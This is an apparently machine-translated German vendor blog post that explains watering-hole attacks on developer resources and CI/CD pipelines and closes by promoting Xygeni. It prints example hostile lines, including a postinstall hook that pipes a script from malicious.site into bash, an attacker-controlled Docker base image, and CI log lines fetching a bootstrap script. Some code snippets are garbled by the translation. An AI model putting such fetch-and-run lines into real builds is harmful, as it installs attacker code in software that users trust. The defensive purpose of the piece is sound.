Der Build, der die Hintertür erstellt hat
Ein Build wird erfolgreich ausgeführt. Ein Dienst wird bereitgestellt. Alles sieht sauber aus. Doch darin verbirgt sich eine vergiftete Abhängigkeit aus einer kompromittierten Quelle. Das ist ein klassischer Watering-Hole-Angriff.
In diesem Szenario ist der Angreifer nicht in Ihre Infrastruktur eingebrochen. Er wartete darauf, dass ein Entwickler eine vertrauenswürdige Ressource, eine Dokumentationsseite, ein Paket-Repository oder eine SDK-Downloadseite besuchte, die er bereits kompromittiert hatte. Der Schadcode gelangte in Ihre pipeline mit einem einfachen Pull- oder Install-Befehl.
Sobald es ausgeliefert ist, hat der Angreifer einen stillen Zugang zur Produktion. Und Ihr CI/CD pipeline hat ihnen nur geholfen, dorthin zu gelangen.
Was ist ein Watering-Hole-Angriff (und warum Entwickler sich darum kümmern sollten)
Was ist also ein Watering-Hole-Angriff? Dabei kompromittiert ein Angreifer eine Ressource, der Entwickler oder Teams bereits vertrauen. Anstatt Sie direkt anzugreifen, greift er eine häufig genutzte Site oder ein Repository an und wartet darauf, dass jemand anbeißt.
Watering-Hole-Angriffe unterscheiden sich von Phishing, das in der Regel auf Anmeldeinformationen abzielt, und von Upstream-Supply-Chain-Angriffen, bei denen schädlicher Code in das Hauptrepository eines Pakets eingeschleust wird. Hier geht die Bedrohung aus dem umgebenden Ökosystem aus: Dokumente, die Hintertüren hinzufügen, SDK-Binärdateien, die mit Trojanern ausgetauscht werden, oder Paketregister, die veränderte Versionen bereitstellen.
Und Entwicklungsressourcen sind Hauptziele: Paketmanager (npm, pip, Maven), öffentliche GitHub-Repositories, offiziell aussehende Docker-Images und Downloadseiten. Wenn eines dieser Elemente kompromittiert wird, befindet sich der Angreifer bereits in Ihrem Entwicklungsfluss.
Wo die Falle gestellt wird: Echte, auf Entwickler fokussierte Beispiele für Watering-Hole-Angriffe
Waterhole-Angriffe können viele Formen annehmen. Hier sind einige Möglichkeiten, wie sie den Entwicklern entgehen:
- Kompromittierte Dokumenten-Site:
importiere { init } von 'malicious-lib';
init({ telemetry: 'https://attacker.com' });
Ein legitimes Beispiel, das in den Dokumenten leicht geändert wurde. Entwickler kopieren, fügen ein und machen weiter.
- Schädliches Post-Install-Skript in öffentlicher PR:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Sieht aus wie eine hilfreiche PR, installiert aber unbemerkt Malware.
- Trojanisierte SDK-Binärdatei:
./sdk-install.sh # Enthält einen versteckten Zweitstufenlader
Die Binärdatei wird von einer vertrauenswürdig aussehenden URL heruntergeladen, ist jedoch verändert. - Manipuliertes Docker-Basisimage:
VON Knoten:slim-malicious - RUN bash /tmp/hidden-installer.sh
Der Bildname sieht richtig aus, wird aber in einem entführten oder gefälschten Register gehostet.
Um einer Entdeckung zu entgehen, sind alle diese Watering-Hole-Angriffe auf das Vertrauen der Entwickler und schnelle Arbeitsabläufe angewiesen.
Vom Laptop zum Pipeline: Wie sich die Infektion ausbreitet
Ein Watering-Hole-Angriff macht nicht vor dem Browser halt. Sobald bösartiger Code in eine lokale Umgebung gelangt, kann es lautlos durch Ihre gesamte Lieferkette reisen:
- Der Entwickler besucht eine kompromittierte Ressource (Dokumente, Repo, SDK-Site).
- Schädlicher Code landet in der lokalen Entwicklungsumgebung.
- Infizierte Dateien oder Abhängigkeiten werden zu einem commit und geschoben.
- CI/CD Jobs führen Build- und Installationsschritte unter Verwendung dieser kompromittierten Komponenten aus.
- Das Artefakt wird versendet und bereitgestellt, wobei der Code des Angreifers in die Produktion eingebettet wird.
Diese Kette kann sich innerhalb von Stunden entfalten, insbesondere in Hochgeschwindigkeitsteams.
Um dies zu veranschaulichen, stellen Sie sich vor: pipeline Diagramm, das den Infektionsverlauf verfolgt von:
- Entwickler-Workstation: Editoren, Terminals, Installationsskripte.
- Quellcodeverwaltung: Commits, PRs, Zusammenführungen.
- CI Pipeline: Installation von Abhängigkeiten, Ausführung von Skripten, Erstellen von Images.
- Produktion: Artefaktfreigabe, Bereitstellungen und Benutzerzugriff.
Ohne die richtigen Sicherheitsvorkehrungen kann ein Watering-Hole-Angriff bei jedem Schritt unbemerkt bleiben.
Reale Risikoszenarien in CI/CD
Watering Hole-Angriffe beschränken sich nicht nur auf Entwicklungsmaschinen. Sie nutzen Ihre pipeline gegen Sie. Zu den tatsächlichen Risiken gehören:
- Kompromittierte Basisbilder:
AB attacker-registry.io/python:3.10-slim
Während der Erstellung hinzugefügte versteckte Malware. - Abrufen nicht fixierter Skripte oder Tools:
curl -s https://pkg.example.com/latest.sh | bash
„Neueste“ kann sich jederzeit ändern, insbesondere wenn DNS gekapert wird. - Infizierte CI-Protokolle (Beispiel):
[+] Tools installieren…
[+] Abrufen von https://tools.fakecdn.net/bootstrap.sh
[+] Build abgeschlossen.
Oberflächlich betrachtet sieht alles gut aus. Doch die Nutzlast befindet sich bereits im Artefakt.
Watering Hole-Angriffe missbrauchen wie viel Vertrauen CI/CD Umgebungen in externen Quellen und Skripten.
Brechen der Watering-Hole-Angriff Kette: Entwicklerseitige Abwehrmaßnahmen
Um Watering-Hole-Angriffe frühzeitig zu verhindern, müssen Sie Ihre Entwicklungspraktiken optimieren. Die Angriffsprävention muss beginnen, bevor Code in Ihr CI/CD pipeline:
- Pin-Abhängigkeiten: Vermeiden Sie schwebende Tags wie neuesten. Verwenden Sie Sperrdateien, um deterministische Builds sicherzustellen.
- Prüfsummen überprüfen: Validieren Sie alle Remote-Skripte, Binärdateien und Pakete.
- Verwenden Sie private Spiegel: Spiegeln Sie kritische Paketregister, um die Offenlegung kompromittierter Upstream-Quellen zu verhindern.
- Überprüfen der Basisbilder: Verwenden Sie Bildübersichten (@sha256) anstelle von Tags. Scannen Sie alle Bilder vor der Verwendung.
- Führen Sie SCA/SAST Vorzusammenführung: Automatisieren Sie Scans in Ihrem PR-Workflow, um Bedrohungen frühzeitig zu erkennen.
- Verwenden Sie Git hooks: Erkennen und blockieren Sie Änderungen mit hohem Risiko, bevor sie die Versionskontrolle erreichen.
- BEHANDELN Code von Drittanbietern wie nicht vertrauenswürdige Eingabe: Selbst weit verbreitete Bibliotheken können versteckte Risiken bergen.
Sicherheit muss in die Arbeitsabläufe der Entwickler integriert werden. Diese Gewohnheiten und Kontrollen helfen, Watering-Hole-Angriffe zu blockieren, bevor sie eskalieren.
Lehren aus dem Feld
Fall 1: Event-Stream (npm)
Ein vertrauenswürdiger Betreuer hat die Kontrolle über ein beliebtes Paket übertragen. Der neue Betreuer hat eine Abhängigkeit hinzugefügt, die heimlich Daten aus Krypto-Wallets gestohlen hat.
- Wo es fehlschlug: Keine Überprüfung transitiver Abhängigkeiten.
- Lektion: Verwenden Sie automatisierte SCA um Änderungen in indirekten Abhängigkeiten zu verfolgen und zu kennzeichnen.
Fall 2: Codecov Bash Uploader
Ein Angreifer hat ein Bash-Skript verändert, das in vielen CI- pipelines. Es hat Geheimnisse aus CI-Umgebungen exfiltriert.
- Wo es fehlschlug: Keine Prüfsummenvalidierung.
- Lektion: Überprüfen Sie heruntergeladene Tools immer, bevor Sie sie ausführen CI/CD.
Beides waren Wasserlochangriffe. Beide hätten früher gestoppt werden können.
Prävention in der Praxis: DevSecOps-Denkweise und -Tools
Um Watering-Hole-Angriffe zu verhindern, ist der Aufbau einer sicherheitsbewussten Entwicklerkultur erforderlich:
- Sicherheit nach links verschieben: Schulen Sie Entwickler darin, unerwartete Skripte, Abhängigkeitsänderungen oder Installationsschritte zu hinterfragen.
- Automatisiere Prozesse mit Technologie SCA/SAST: Benutzen Werkzeuge die in PR-Workflows integriert werden, um bekannte Schwachstellen und riskante Muster zu verhindern.
- Verwenden Sie überall die Hash-Validierung: Jede externe Ressource sollte vor der Ausführung überprüft werden.
- Überwachung in Echtzeit: Prävention allein reicht nicht.
Tools wie Xygeni bieten Echtzeit-Transparenz über Ihre gesamte Software-Lieferkette. Xygeni überwacht kontinuierlich Entwicklerumgebungen, Git-Aktivitäten, CI pipelines und Artefaktregister zum Erkennen von:
- Anomale Abhängigkeitsänderungen.
- Verdächtige Änderungen in Build-Skripten.
- Ungewöhnliche Zugriffsmuster auf Quellen von Drittanbietern.
Mit Xygeni können Teams Bedrohungen, die über Watering-Hole-Angriffe eingeleitet werden, blockieren, bevor sie sich verbreiten, und die Quelle der Kompromittierung zurückverfolgen, falls eine solche durchkommt. Es wurde speziell für moderne CI/CD Umgebungen, mit Schwerpunkt auf umsetzbaren Warnungen und Entwickler-orientierter Benutzerfreundlichkeit.
Schlussbemerkung: Schnell Pipelines, Schnellere Risiken
Jetzt weißt du es Was ist ein Watering-Hole-Angriff? Sie wissen, dass sie Ihre Infrastruktur nicht direkt angreifen müssen. Sie erreichen dies, indem sie die Tools und Websites vergiften, denen Entwickler bereits vertrauen. Von dort aus Wir koordinieren den Versand CI/CD pipeline kann zum Verteilungssystem des Angreifers werden.
Das eigentliche Risiko besteht nicht nur in der Kompromittierung, sondern auch darin, wie schnell sich bösartiger Code durch Ihr pipeline.
Integrieren Sie Sicherheitsprüfungen in Ihren Entwicklungsablauf, nicht erst im Nachhinein. Denn sobald die Lösung ausgeliefert ist, ist es bereits zu spät.
